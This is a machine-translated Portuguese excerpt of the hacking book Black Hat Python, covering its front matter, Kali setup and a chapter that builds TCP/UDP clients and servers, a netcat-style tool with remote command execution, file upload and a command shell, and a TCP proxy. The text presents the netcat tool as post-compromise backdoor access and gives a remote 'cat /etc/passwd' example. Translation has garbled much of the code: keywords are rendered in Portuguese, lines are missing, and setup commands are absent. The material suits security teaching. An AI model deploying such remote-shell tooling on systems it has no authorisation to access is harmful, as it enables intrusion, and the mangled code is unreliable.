Python 2
Python 2
Justin Seitz
Embora nunca tenhamos nos conhecido, sou eternamente grato por cada membro de sua família maravilhosa que você me deu.
Sociedade Canadense de Câncer www.cancer.ca
Machine Translated by Google
Sobre o autor
Justin Seitz é pesquisador sênior de segurança da Immunity, Inc., onde passa seu tempo caçando bugs,
fazendo engenharia reversa, escrevendo exploits e codificando Python. Ele é o autor de Gray Hat Python, o
primeiro livro a cobrir Python para análise de segurança.
Machine Translated by Google
Sobre os revisores técnicos
Dan Frisch tem mais de dez anos de experiência em segurança da informação. Atualmente, ele é analista sênior
de segurança em uma agência policial canadense. Antes dessa função, ele trabalhou como consultor fornecendo
avaliações de segurança para empresas financeiras e de tecnologia na América do Norte. Como ele é obcecado
por tecnologia e possui faixa preta de 3º grau, você pode supor (corretamente) que toda a sua vida é baseada em
Matrix.
Desde os primeiros dias do Commodore PET e VIC-20, a tecnologia tem sido uma companheira constante (e às
vezes uma obsessão!) Para Cliff Janzen. Cliff descobriu sua paixão profissional quando mudou para a segurança
da informação em 2008, após uma década de operações de TI. Nos últimos anos, Cliff trabalhou alegremente
como consultor de segurança, fazendo de tudo, desde revisão de políticas até testes de penetração, e ele se
sente sortudo por ter uma carreira que também é seu hobby favorito.
Machine Translated by Google
Prefácio
Python ainda é a linguagem dominante no mundo da segurança da informação, mesmo que a conversa sobre sua
linguagem de escolha às vezes pareça mais uma guerra religiosa. As ferramentas baseadas em Python incluem todos
os tipos de fuzzers, proxies e até mesmo exploits ocasionais. Estruturas de exploração como CANVAS são escritas
em Python, assim como ferramentas mais obscuras como PyEmu ou Sulley.
Quase todos os fuzzers ou exploits que escrevi foram em Python. Na verdade, a pesquisa de hacking automotivo
que Chris Valasek e eu realizamos recentemente continha uma biblioteca para injetar mensagens CAN em sua rede
automotiva usando Python!
Se você estiver interessado em mexer com tarefas de segurança da informação, o Python é uma ótima linguagem
para aprender devido ao grande número de bibliotecas de engenharia reversa e exploração disponíveis para seu uso.
Agora, se os desenvolvedores do Metasploit caíssem em si e mudassem de Ruby para Python, nossa comunidade
estaria unida.
Neste novo livro, Justin cobre uma ampla gama de tópicos que um jovem hacker empreendedor precisaria para
decolar. Ele inclui orientações sobre como ler e gravar pacotes de rede, como farejar a rede, bem como qualquer
coisa que você possa precisar para auditoria e ataque de aplicativos da web. Em seguida, ele passa um tempo
significativo se aprofundando em como escrever código para abordar detalhes específicos com sistemas Windows
de ataque. Em geral, Black Hat Python é uma leitura divertida e, embora possa não transformá-lo em um super
hacker como eu, certamente pode ajudá-lo a começar o caminho. Lembre-se, a diferença entre script kiddies e
profissionais é a diferença entre simplesmente usar as ferramentas de outras pessoas e escrever as suas próprias.
Charlie Miller
setembro de 2014
Machine Translated by Google
Prefácio
hacker Python. Essas são duas palavras que você realmente poderia usar para me descrever. Na Immunity, tenho a sorte de
trabalhar com pessoas que realmente sabem codificar em Python. Eu não sou uma dessas pessoas. Passo grande parte do meu
tempo em testes de penetração, e isso requer um desenvolvimento rápido de ferramentas Python, com foco na execução e entrega
de resultados (não necessariamente em beleza, otimização ou mesmo estabilidade). Ao longo deste livro, você aprenderá que é
assim que eu codifico, mas também sinto que é parte do que me torna um pentester forte. Espero que essa filosofia e estilo ajude você
também.
À medida que avança no livro, você também perceberá que não me aprofundo em nenhum tópico. Isso ocorre por design. Quero
dar a você o mínimo, com um pouco de sabor, para que você tenha algum conhecimento básico. Com isso em mente, espalhei
ideias e tarefas de casa ao longo do livro para dar o pontapé inicial em sua própria direção. Eu o encorajo a explorar essas ideias
e adoraria ouvir suas próprias implementações, ferramentas ou trabalhos de casa que você fez.
Como acontece com qualquer livro técnico, os leitores com diferentes níveis de habilidade com Python (ou segurança da informação
em geral) terão uma experiência diferente com este livro. Alguns de vocês podem simplesmente pegá-lo e pegar os capítulos
pertinentes a um trabalho de consultoria em que você está, enquanto outros podem lê-lo de capa a capa. Eu recomendaria que, se
você é um programador iniciante ou intermediário em Python, comece no início do livro e leia-o direto na ordem. Você vai pegar alguns
bons blocos de construção ao longo do caminho.
Para começar, estabeleço alguns fundamentos de rede no Capítulo 2 e, lentamente, trabalho em soquetes brutos no Capítulo 3 e
uso o Scapy no Capítulo 4 para algumas ferramentas de rede mais interessantes.
A próxima seção do livro trata do hacking de aplicativos da Web, começando com suas próprias ferramentas personalizadas no
Capítulo 5 e, em seguida, estendendo o popular Burp Suite no Capítulo 6. A partir daí, passaremos muito tempo falando sobre
trojans, começando com o comando GitHub e controle no Capítulo 7, até o Capítulo 10 , onde abordaremos alguns truques de
escalonamento de privilégios do Windows. O capítulo final é sobre como usar a Volatilidade para automatizar algumas técnicas
forenses ofensivas de memória.
Eu tento manter os exemplos de código curtos e direto ao ponto, e o mesmo vale para as explicações. Se
você é relativamente novo em Python, eu o encorajo a perfurar cada linha para ativar a memória muscular de
codificação. Todos os exemplos de código-fonte deste livro estão disponíveis em http:// nostarch.com/
blackhatpython/.
A todos os meus colegas da Immunity (eu listaria cada um de vocês aqui se eu tivesse espaço): obrigado por me
tolerar no dia-a-dia. Você é realmente uma equipe incrível para se trabalhar. À equipe da No Starch — Tyler, Bill,
Serena e Leigh — muito obrigado por todo o trabalho árduo que você dedicou a este livro e ao restante de sua
coleção. Todos nós apreciamos isso.
Também gostaria de agradecer aos meus revisores técnicos, Dan Frisch e Cliff Janzen. Esses caras digitaram e
criticaram cada linha de código, escreveram código de suporte, fizeram edições e forneceram suporte absolutamente
incrível durante todo o processo. Qualquer pessoa que esteja escrevendo um livro sobre segurança da informação
deve realmente incluir esses caras; eles foram incríveis e mais alguns.
Para o resto de vocês rufiões que compartilham bebidas, risadas e GChats: obrigado por me deixar mijar e reclamar
sobre escrever este livro.
Machine Translated by Google
Capítulo 1. Configurando seu
ambiente Python
Esta é a parte menos divertida — mas, ainda assim, crítica — do livro, onde percorremos a configuração
de um ambiente para escrever e testar o Python. Faremos um curso intensivo sobre como configurar uma
máquina virtual Kali Linux (VM) e instalar um bom IDE para que você tenha tudo o que precisa para
desenvolver código. No final deste capítulo, você deve estar pronto para enfrentar os exercícios e exemplos
de código no restante do livro.
Antes de começar, faça o download e instale o VMWare Player. [1] Também recomendo que você tenha
algumas VMs do Windows prontas, incluindo Windows XP e Windows 7, preferencialmente de 32 bits
em ambos os casos.
Machine Translated by Google
Instalando Kali Linux Kali é o
sucessor da distribuição BackTrack Linux, projetada pela Offensive Security desde o início como um sistema
operacional de teste de penetração. Ele vem com várias ferramentas pré-instaladas e é baseado no Debian
Linux, então você também poderá instalar uma ampla variedade de ferramentas e bibliotecas adicionais além
do que está no sistema operacional para iniciar.
Primeiro, pegue uma imagem Kali VM no seguinte URL: http:// images.of ensive-security.com/ kali
linux-1.0.9-vm-i486.7z. [2] Baixe e descompacte a imagem e, em seguida, clique duas vezes nela
para fazer o VMWare Player ativá-la. O nome de usuário padrão é root e a senha é toor. Isso deve levá-lo
ao ambiente de desktop Kali completo, conforme mostrado na Figura 1-1.
A primeira coisa que faremos é garantir que a versão correta do Python esteja instalada. Este livro usará
o Python 2.7 em todo o livro. No shell (AplicativosÿAcessóriosÿTerminal), execute o seguinte:
Se você baixou a imagem exata que recomendei acima, o Python 2.7 será instalado automaticamente.
Observe que o uso de uma versão diferente do Python pode quebrar alguns dos exemplos de código
deste livro. Você foi avisado.
Machine
Agora Translated
vamos by Google
adicionar algumas partes úteis do gerenciamento de pacotes Python na forma de easy_install e pip. Eles
são muito parecidos com o gerenciador de pacotes apt porque permitem que você instale diretamente as bibliotecas do
Python, sem precisar baixá-las, descompactá-las e instalá-las manualmente. Vamos instalar esses dois gerenciadores de
pacotes emitindo os seguintes comandos:
Quando os pacotes estiverem instalados, podemos fazer um teste rápido e instalar o módulo que usaremos no
Capítulo 7 para construir um trojan baseado no GitHub. Digite o seguinte em seu terminal:
Você deve ver a saída em seu terminal indicando que a biblioteca está sendo baixada e instalada.
Se seus resultados não forem idênticos a estes, então há uma “configuração incorreta” em seu ambiente Python e você
trouxe muita vergonha ao nosso Python dojo! Nesse caso, certifique-se de seguir todas as etapas acima e de ter a versão
correta do Kali.
Lembre-se de que, para a maioria dos exemplos ao longo deste livro, você pode desenvolver seu código em vários
ambientes, incluindo Mac, Linux e Windows. Existem alguns capítulos que são específicos do Windows, e farei questão de
informá-lo no início do capítulo.
Agora que temos nossa máquina virtual de hacking configurada, vamos instalar um Python IDE para desenvolvimento.
Machine Translated by Google
WingIDE Embora
eu normalmente não defenda produtos de software comercial, o WingIDE é o melhor IDE que usei nos últimos sete anos
na Immunity. O WingIDE fornece todas as funcionalidades básicas do IDE, como preenchimento automático e explicação
dos parâmetros da função, mas seus recursos de depuração são o que o diferencia de outros IDEs. Darei a você um rápido
resumo da versão comercial do WingIDE, mas é claro que [3] você deve escolher a versão que for melhor para você.
Você pode obter o WingIDE em http:// www.wingware.com/, e recomendo que você instale o trial para que possa
experimentar em primeira mão alguns dos recursos disponíveis na versão comercial.
Você pode fazer seu desenvolvimento em qualquer plataforma que desejar, mas talvez seja melhor instalar o WingIDE
em sua VM Kali pelo menos para começar. Se você seguiu minhas instruções até agora, certifique-se de baixar o
pacote .deb de 32 bits para WingIDE e salvá-lo em seu diretório de usuário. Em seguida, entre em um terminal e execute
o seguinte:
Isso deve instalar o WingIDE conforme planejado. Se você receber algum erro de instalação, pode haver
dependências não atendidas. Neste caso, basta executar:
Isso deve corrigir quaisquer dependências ausentes e instalar o WingIDE. Para verificar se você o instalou
corretamente, verifique se você pode acessá-lo conforme mostrado na Figura 1-2.
Machine Translated by Google
Inicie o WingIDE e abra um novo arquivo Python em branco. Em seguida, acompanhe enquanto dou a você um rápido resumo
de alguns recursos úteis. Para começar, sua tela deve se parecer com a Figura 1-3, com sua área principal de edição de código
no canto superior esquerdo e um conjunto de guias na parte inferior.
Machine Translated by Google
Vamos escrever um código simples para ilustrar algumas das funções úteis do WingIDE, incluindo as guias
Debug Probe e Stack Data. Perfure o seguinte código no editor:
def sum(number_one,number_two):
number_one_int = convert_integer(number_one) number_two_int =
convert_integer(number_two)
resultado de retorno
def convert_integer(number_string):
resposta = soma("1","2")
Este é um exemplo muito artificial, mas é uma excelente demonstração de como tornar sua vida mais fácil com
o WingIDE. Salve-o com qualquer nome de arquivo desejado, clique no item de menu Debug e selecione a opção
Select Current as Main Debug File , conforme mostrado na Figura 1-4.
Machine Translated by Google
retorna inteiro_convertido
Você pode fazer isso clicando na margem esquerda ou pressionando a tecla F9. Você deve ver um pequeno ponto vermelho
aparecer na margem. Agora execute o script pressionando F5 e a execução deve parar em seu ponto de interrupção.
Clique na guia Stack Data e você verá uma tela como a da Figura 1-5.
A guia Stack Data nos mostrará algumas informações úteis, como o estado de quaisquer variáveis locais e globais no
momento em que nosso ponto de interrupção foi atingido. Isso permite que você depure códigos mais avançados, onde você
precisa inspecionar variáveis durante a execução para rastrear bugs. Se você clicar na barra suspensa, também poderá ver a
pilha de chamadas atual, que informa qual função chamou a função em que você está atualmente. Dê uma olhada na Figura 1-6
para ver o rastreamento de pilha.
Machine Translated by Google
Podemos ver que convert_integer foi chamado da função sum na linha 3 do nosso script Python.
Isso se torna muito útil se você tiver chamadas de função recursivas ou uma função que é chamada de muitos lugares
potenciais. Usar a guia Stack Data será muito útil em sua carreira de desenvolvimento em Python!
O próximo recurso importante é a guia Debug Probe. Essa guia permite que você entre em um shell Python que está
sendo executado no contexto atual do momento exato em que seu ponto de interrupção foi atingido. Isso permite que
você inspecione e modifique variáveis, bem como escreva pequenos trechos de código de teste para experimentar novas
ideias ou solucionar problemas. A Figura 1-7 demonstra como inspecionar a variável convert_integer e alterar seu valor.
Machine Translated by Google
Figura 1-7. Usando o Debug Probe para inspecionar e modificar variáveis locais
Depois de fazer algumas modificações, você pode retomar a execução do script pressionando F5.
Embora este seja um exemplo muito simples, ele demonstra alguns dos recursos mais úteis do WingIDE para desenvolver e depurar
Isso é tudo de que precisamos para começar a desenvolver o código para o restante deste livro. Não se esqueça
de preparar as máquinas virtuais como máquinas de destino para os capítulos específicos do Windows, mas é claro
que o uso de hardware nativo não deve apresentar problemas.
[2] Para obter uma lista “clicável” dos links neste capítulo, visite http:// nostarch.com/ blackhatpython/.
[3] Para uma comparação dos recursos entre as versões, visite https:// wingware.com/ wingide/ features/.
[4] Se você já usa um IDE com recursos comparáveis ao WingIDE, envie-me um e-mail ou um tweet porque eu adoraria
ouvir sobre isso!
Machine Translated by Google
Capítulo 2. A Rede: Noções Básicas
A rede é e sempre será a arena mais sexy para um hacker. Um invasor pode fazer quase tudo com acesso simples à
rede, como procurar hosts, injetar pacotes, farejar dados, explorar remotamente hosts e muito mais. Mas se você for
um invasor que trabalhou nas profundezas de um alvo corporativo, pode se deparar com um dilema: você não tem
ferramentas para executar ataques de rede. Sem netcat. Sem Wireshark. Nenhum compilador e nenhum meio para
instalar um. No entanto, você pode se surpreender ao descobrir que, em muitos casos, encontrará uma instalação do
Python e é por aí que começaremos.
Este capítulo fornecerá algumas noções básicas sobre rede Python usando o modo de soquete
[5], módulo.
construiremos
Ao longo do
clientes, servidores e um proxy TCP; e, em seguida, transformá-los em nosso próprio netcat, completo com shell de
comando. Este capítulo é a base para os capítulos subsequentes, nos quais criaremos uma ferramenta de descoberta
de host, implementaremos sniffers de plataforma cruzada e criaremos uma estrutura remota de trojan. Vamos começar.
Machine Translated by Google
Rede Python em um Parágrafo Os programadores têm
várias ferramentas de terceiros para criar servidores e clientes em rede em Python, mas o módulo central
para todas essas ferramentas é o soquete. Este módulo expõe todas as peças necessárias para escrever
rapidamente clientes e servidores TCP e UDP, usar soquetes brutos e assim por diante. Para fins de invasão
ou manutenção do acesso às máquinas de destino, este módulo é tudo o que você realmente precisa. Vamos
começar criando alguns clientes e servidores simples, os dois scripts de rede rápidos mais comuns que você esc
Machine Translated by Google
Cliente TCP
Houve inúmeras vezes durante os testes de penetração que precisei ativar um cliente TCP para testar serviços,
enviar dados de lixo, fuzz ou qualquer outra tarefa. Se você estiver trabalhando dentro dos limites de grandes
ambientes corporativos, não terá o luxo de ferramentas de rede ou compiladores e, às vezes, até mesmo perderá o
básico absoluto, como a capacidade de copiar/colar ou uma conexão com a Internet. É aqui que a capacidade de criar
rapidamente um cliente TCP é extremamente útil. Mas chega de tagarelice — vamos começar a codificar. Aqui está
um cliente TCP simples.
soquete de importação
# conecta o cliente
ÿ client.connect((target_host,target_port))
imprimir resposta
Primeiro criamos um objeto socket com os parâmetros AF_INET e SOCK_STREAM ÿ. O parâmetro AF_INET
está dizendo que vamos usar um endereço IPv4 padrão ou nome de host, e SOCK_STREAM indica que este
será um cliente TCP. Em seguida, conectamos o cliente ao servidor ÿ e enviamos alguns dados ÿ. A última etapa é
receber alguns dados de volta e imprimir a resposta ÿ. Esta é a forma mais simples de um cliente TCP, mas a que
você escreverá com mais frequência.
No trecho de código acima, estamos fazendo algumas suposições sérias sobre soquetes das quais você definitivamente
deseja estar ciente. A primeira suposição é que nossa conexão sempre será bem-sucedida e a segunda é que o
servidor sempre espera que enviemos os dados primeiro (em oposição aos servidores que esperam enviar dados para
você primeiro e aguardam sua resposta). Nossa terceira suposição é que o servidor sempre nos enviará dados em
tempo hábil. Fazemos essas suposições em grande parte por uma questão de simplicidade. Embora os programadores
tenham opiniões variadas sobre como lidar com soquetes de bloqueio, manipulação de exceção em soquetes e coisas
do gênero, é bastante raro para pentesters incorporar essas sutilezas em ferramentas rápidas e sujas para trabalho de
reconhecimento ou exploração, então vamos omita-os neste capítulo.
Machine Translated by Google
Cliente UDP
Um cliente Python UDP não é muito diferente de um cliente TCP; precisamos fazer apenas duas pequenas alterações
para que ele envie pacotes no formato UDP.
soquete de importação
imprimir dados
Como você pode ver, alteramos o tipo de soquete para SOCK_DGRAM ÿ ao criar o objeto de soquete. O próximo
passo é simplesmente chamar sendto() ÿ, passando os dados e o servidor para o qual você deseja enviar os dados.
Como o UDP é um protocolo sem conexão, não há nenhuma chamada para connect() de antemão. A última etapa é
chamar recvfrom() ÿ para receber dados UDP de volta. Você também notará que ele retorna os dados e os detalhes do
host remoto e da porta.
Novamente, não queremos ser programadores de rede superiores; queremos ser rápidos, fáceis e confiáveis o
suficiente para lidar com nossas tarefas diárias de hacking. Vamos passar para a criação de alguns simples
servidores.
Machine Translated by Google
Servidor TCP
Criar servidores TCP em Python é tão fácil quanto criar um cliente. Você pode querer usar seu próprio servidor
TCP ao escrever shells de comando ou criar um proxy (faremos ambos mais tarde). Vamos começar criando um
servidor TCP multiencadeado padrão. Desenvolva o código abaixo:
importação de thread
de importação de soquete
ÿ server.bind((bind_ip,bind_port))
ÿ server.listen(5)
client_socket.close()
enquanto verdadeiro:
ÿ cliente,addr = servidor.accept()
Para começar, passamos o endereço IP e a porta que queremos que o servidor escute ÿ. Em seguida, dizemos
ao servidor para começar a escutar ÿ com um backlog máximo de conexões definido como 5. Em seguida,
colocamos o servidor em seu loop principal, onde aguarda uma conexão de entrada. Quando um cliente conecta
ÿ, recebemos o soquete do cliente na variável client e os detalhes da conexão remota na variável addr . Em
seguida, criamos um novo objeto de encadeamento que aponta para nossa função handle_client e passamos a ele o
objeto de soquete do cliente como um argumento. Em seguida, iniciamos o thread para lidar com a conexão do
cliente ÿ e nosso loop de servidor principal está pronto para lidar com outra conexão de entrada. A função
handle_client ÿ executa o recv() e então envia uma mensagem simples de volta para o cliente.
Se você usar o cliente TCP que construímos anteriormente, poderá enviar alguns pacotes de teste para o servidor
e deverá ver uma saída como a seguinte:
[*] Ouvindo em 0.0.0.0:9999 [*] Conexão
aceita de: 127.0.0.1:62512 [*] Recebido: ABCDEF
É isso! Bastante simples, mas este é um trecho de código muito útil que estenderemos nas próximas seções quando
construirmos um substituto do netcat e um proxy TCP.
Machine Translated by Google
Substituindo o Netcat O
Netcat é o canivete da rede, então não é nenhuma surpresa que os administradores de sistemas astutos o
removam de seus sistemas. Em mais de uma ocasião, encontrei servidores que não tinham o netcat instalado,
mas tinham o Python. Nesses casos, é útil criar um cliente e servidor de rede simples que você possa usar para
enviar arquivos ou ter um ouvinte que forneça acesso à linha de comando. Se você invadiu um aplicativo da
web, definitivamente vale a pena lançar um retorno de chamada do Python para fornecer acesso secundário
sem ter que primeiro gravar um de seus trojans ou backdoors. Criar uma ferramenta como essa também é um
ótimo exercício de Python, então vamos começar.
import sys
import socket
import getopt import
threading import
subprocess
Aqui, estamos apenas importando todas as nossas bibliotecas necessárias e definindo algumas variáveis globais.
Nenhum trabalho pesado ainda.
Agora vamos criar nossa função principal responsável por lidar com argumentos de linha de comando e chamar o restante
de nossas funções.
print
print
print "Exemplos: " print
"bhpnet.py -t 192.168.0.1 -p 5555 -l -c" print "bhpnet.py -t 192.168.0.1
-p 5555 -l -u=c:\\target.exe " print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135" sys.exit(0)
def main():
global escuta porta
global global
executa comando
global global
upload_destination alvo global
target = a elif o
in ("-p", "--port"): port = int(a)
outro:
assert False,"Opção não tratada"
ÿ server_loop()
a Principal()
Começamos lendo todas as opções de linha de comando ÿ e definindo as variáveis necessárias dependendo das
opções que detectamos. Se algum dos parâmetros da linha de comando não corresponder aos nossos critérios, imprimimos
informações de uso úteis ÿ. No próximo bloco de código ÿ, estamos tentando imitar o netcat para ler dados do stdin e enviá-
los pela rede. Conforme observado, se você planeja enviar dados de forma interativa, é necessário enviar um CTRL-D para
ignorar a leitura stdin. A parte final ÿ é onde detectamos que devemos configurar um soquete de escuta e processar outros
comandos (carregar um arquivo, executar um comando, iniciar um shell de comando).
Agora vamos começar a colocar o encanamento para alguns desses recursos, começando com nosso código de cliente.
Adicione o seguinte código acima da nossa função principal .
def cliente_remetente(buffer):
experimentar:
ÿ enquanto recv_len:
dados = cliente.recv(4096)
recv_len = len(dados)
resposta+= dados
resposta de impressão,
# envie
cliente.enviar(buffer)
exceto:
A maior parte desse código deve parecer familiar para você agora. Começamos configurando nosso objeto de
soquete TCP e então testamos ÿ para ver se recebemos alguma entrada de stdin. Se tudo estiver bem, enviamos os
dados para o alvo remoto e recebemos de volta os dados ÿ até que não haja mais dados para receber. Em seguida,
esperamos mais informações do usuário ÿ e continuamos enviando e recebendo dados até que o usuário elimine o script.
A quebra de linha extra é anexada especificamente à nossa entrada do usuário para que nosso cliente seja
compatível com nosso shell de comando. Agora vamos seguir em frente e criar nosso loop de servidor principal e uma
função stub que manipulará nossa execução de comando e nosso shell de comando completo.
alvo = "0.0.0.0"
enquanto verdadeiro:
def run_command(comando):
ÿ output = subprocess.check_output(comando,stderr=subprocess.
STDOUT, shell = Verdadeiro)
exceto:
output = "Falha ao executar o comando.\r\n"
Até agora, você é um veterano na criação de servidores TCP completos com threading, então não vou me aprofundar na
função server_loop . A função run_command , no entanto, contém uma nova biblioteca que ainda não abordamos: a biblioteca
de subprocessos . O subprocess fornece uma poderosa interface de criação de processo que fornece várias maneiras de iniciar
e interagir com programas clientes. Neste caso ÿ, estamos simplesmente executando qualquer comando que passarmos,
executando-o no sistema operacional local e retornando a saída do comando para o cliente que está conectado a nós. O código
de tratamento de exceção detectará erros genéricos e retornará uma mensagem informando que o comando falhou.
Agora vamos implementar a lógica para fazer uploads de arquivos, execução de comandos e nosso shell.
# verifique se há upload
ÿ if len(upload_destination):
dados = client_socket.recv(1024)
se não dados:
pausa
outro:
arquivo_buffer += dados
exceto:
client_socket.send("Falha ao salvar arquivo em %s\r\n" % upload_destination)
# execute o comando
output = run_command(execute)
client_socket.send(saída)
enquanto verdadeiro:
cmd_buffer += client_socket.recv(1024)
Nosso primeiro pedaço de código ÿ é responsável por determinar se nossa ferramenta de rede está configurada para receber
um arquivo ao receber uma conexão. Isso pode ser útil para exercícios de upload e execução ou para instalar malware e
fazer com que o malware remova nosso retorno de chamada do Python. Primeiro, recebemos os dados do arquivo em um
loop ÿ para garantir que recebemos tudo e, em seguida, simplesmente abrimos um identificador de arquivo e escrevemos o
conteúdo do arquivo. O sinalizador wb garante que estamos gravando o arquivo com o modo binário ativado, o que garante
que o upload e a gravação de um executável binário sejam bem-sucedidos. Em seguida, processamos nossa funcionalidade
de execução ÿ, que chama nossa função run_command escrita anteriormente e simplesmente envia o resultado de volta pela
rede. Nosso último trecho de código lida com nosso shell de comando ÿ; ele continua a executar comandos à medida que os
enviamos e envia de volta a saída. Você notará que ele está procurando um caractere de nova linha para determinar quando
processar um comando, o que o torna compatível com netcat.
No entanto, se você estiver invocando um cliente Python para falar com ele, lembre-se de adicionar o caractere
de nova linha.
Machine Translated by Google
Chutando os pneus Agora
vamos brincar um pouco com ele para ver alguma saída. Em um terminal ou shell cmd.exe , execute nosso script
da seguinte forma:
justin$ ./bhnet.py -l -p 9999 -c
Agora você pode iniciar outro terminal ou cmd.exe e executar nosso script no modo cliente. Lembre-se de que nosso
script está lendo do stdin e o fará até que o marcador EOF (end-of-file) seja recebido. Para enviar EOF, pressione CTRL-
D no teclado:
justin$ ./bhnet.py -t localhost -p 9999
<CTRL-D>
<BHP:#> ls -la
total 32
drwxr-xr-x 4 justin staff 136 18 dez 19:45 . drwxr-xr-x 4 equipe de
justin 136 9 de dezembro 18:09 .. -rwxrwxrwt 1 equipe de justin 8498
19 de dezembro 06:38 bhnet.py -rw-r--r-- 1 equipe de justin 844 10 de dezembro
09:34 listagem- 1-3.py <BHP:#> pwd /Users/justin/svn/BHP/code/Chapter2 <BHP:#>
Você pode ver que recebemos de volta nosso shell de comando personalizado e, como estamos em um host Unix,
podemos executar alguns comandos locais e receber de volta alguma saída como se tivéssemos feito login via SSH
ou estivéssemos na caixa localmente. Também podemos usar nosso cliente para enviar solicitações à moda antiga:
justin$ echo -ne "GET / HTTP/1.1\r\nHost: www.google.com\r\n\r\n" | ./bhnet. py -t www.google.com -p 80
X-Frame-Options: SAMEORIGIN
justin$
Ai está! Não é uma técnica super técnica, mas é uma boa base sobre como hackear alguns soquetes de cliente e
servidor em Python e usá-los para o mal. Claro, é dos fundamentos que você mais precisa: use sua imaginação para
expandi-la ou aprimorá-la. Em seguida, vamos construir um proxy TCP, que é útil em vários cenários ofensivos.
Machine Translated by Google
Construindo um Proxy TCP Há
uma série de razões para ter um proxy TCP em seu cinto de ferramentas, tanto para encaminhar o tráfego
para saltar de host para host, mas também ao avaliar software baseado em rede. Ao realizar testes de
penetração em ambientes corporativos, você geralmente se depara com o fato de que não pode executar o
Wireshark, que não pode carregar drivers para detectar o loopback no Windows ou que a segmentação de
rede impede que você execute suas ferramentas diretamente contra seu host de destino. Empreguei um
proxy Python simples em vários casos para ajudar a entender protocolos desconhecidos, modificar o tráfego
enviado a um aplicativo e criar casos de teste para fuzzers. Vamos lá.
import sys
import socket import
threading def
server_loop(local_host,local_port,remote_host,remote_port,receive_first):
experimentar:
server.bind((local_host,local_port))
exceto:
print "[!!] Falha ao escutar em %s:%d" % (local_host,local_port) print "[!!] Verifique se há outros
soquetes de escuta ou permissões corretas." sys.exit(0)
server.listen(5)
enquanto verdadeiro:
proxy_thread.start()
def principal():
# isso diz ao nosso proxy para conectar e receber dados # antes de enviar para
o host remoto receive_first = sys.argv[5]
Machine Translated
if "True" by Google
em receive_first: receive_first =
True else:
receber_primeiro = Falso
a Principal()
A maior parte disso deve parecer familiar: pegamos alguns argumentos de linha de comando e, em seguida, iniciamos
um loop de servidor que escuta as conexões. Quando chega uma nova solicitação de conexão, nós a transferimos para
nosso proxy_handler, que faz todo o envio e recebimento de bits suculentos para qualquer um dos lados do fluxo de
dados.
Vamos mergulhar na função proxy_handler agora adicionando o seguinte código acima de nossa função principal .
remote_socket.connect((remote_host,remote_port))
if len(local_buffer):
hexdump(local_buffer)
if len(remote_buffer):
Machine Translated by Google
print "[<==] %d bytes recebidos do remoto." % len(remote_buffer) hexdump(remote_buffer)
# se não houver mais dados em nenhum dos lados, feche as conexões if not
ÿ len(local_buffer) or not len(remote_buffer): client_socket.close() remote_socket.close()
print "[*] Não há mais dados. Fechando conexões."
pausa
Essa função contém a maior parte da lógica do nosso proxy. Para começar, verificamos se não precisamos primeiro
iniciar uma conexão com o lado remoto e solicitar dados antes de entrar em nosso loop principal ÿ. Alguns daemons
de servidor esperam que você faça isso primeiro (os servidores FTP geralmente enviam um banner primeiro, por
exemplo). Em seguida, usamos nossa função receive_from ÿ, que reutilizamos para ambos os lados da
comunicação; ele simplesmente recebe um objeto de soquete conectado e executa uma recepção. Em seguida,
despejamos o conteúdo ÿ do pacote para que possamos inspecioná-lo em busca de algo interessante. Em seguida,
passamos a saída para nossa função response_handler ÿ. Dentro desta função, você pode modificar o conteúdo
do pacote, executar tarefas de fuzzing, testar problemas de autenticação ou qualquer outra coisa que desejar. Há
uma função request_handler complementar que também faz o mesmo para modificar o tráfego de saída.
A etapa final é enviar o buffer recebido para nosso cliente local. O restante do código do proxy é direto:
lemos continuamente do local, processamos, enviamos para o remoto, lemos do remoto, processamos e enviamos
para o local até que não haja mais dados detectados ÿ.
# esta é uma bela função hex dumping tirada diretamente # dos comentários aqui: # http://
code.activestate.com/recipes/142812-hex-dumper/ ÿ def hexdump(src, length=16):
resultado = []
dígitos = 4 if isinstance(src, unicode) else 2 for i in xrange(0, len(src),
length):
s = src[i:i+comprimento]
hexa = b' '.join(["%0*X" % (dígitos, ord(x)) for x in s]) text = b''.join([x if 0x20 <= ord(x)
< 0x7F else b'.' for x in s]) result.append( b"%04X %-*s %s" % (i, comprimento*(dígitos + 1), hexa,
texto) )
imprimir b'\n'.join(resultado)
ÿ def receive_from(conexão):
tampão =
""
experimentar:
enquanto verdadeiro:
Machine Translated by Googledados = conexão.recv(4096)
se não dados:
pausa
buffer += dados
exceto:
passar
buffer de retorno
Este é o pedaço final de código para completar nosso proxy. Primeiro, criamos nossa função hexadecimal ÿ que
simplesmente exibirá os detalhes do pacote com seus valores hexadecimais e caracteres ASCII imprimíveis.
Isso é útil para entender protocolos desconhecidos, encontrar credenciais de usuários em protocolos de texto
simples e muito mais. A função receive_from ÿ é utilizada tanto para receber dados locais quanto remotos,
bastando apenas passarmos o objeto socket a ser utilizado. Por padrão, há um tempo limite de dois segundos
definido, que pode ser agressivo se você estiver fazendo proxy de tráfego para outros países ou em redes com
perdas (aumente o tempo limite conforme necessário). O restante da função simplesmente lida com o recebimento
de dados até que mais dados sejam detectados na outra extremidade da conexão. Nossas duas últimas funções ÿ ÿ
permitem que você modifique qualquer tráfego destinado a qualquer extremidade do proxy. Isso pode ser útil, por
exemplo, se credenciais de usuário em texto simples estiverem sendo enviadas e você quiser tentar elevar privilégios
em um aplicativo passando admin em vez de justin. Agora que temos nosso proxy configurado, vamos dar uma volta.
Machine Translated by Google
Chutando os pneus
Agora que temos nosso loop de proxy principal e as funções de suporte no lugar, vamos testar
isso em um servidor FTP. Inicie o proxy com as seguintes opções:
justin$ sudo ./proxy.py 127.0.0.1 21 ftp.target.ca 21 Verdadeiro
Usamos o sudo aqui porque a porta 21 é uma porta privilegiada e requer privilégios administrativos ou de root
para ouvi-la. Agora pegue seu cliente FTP favorito e configure-o para usar localhost e porta 21 como seu host
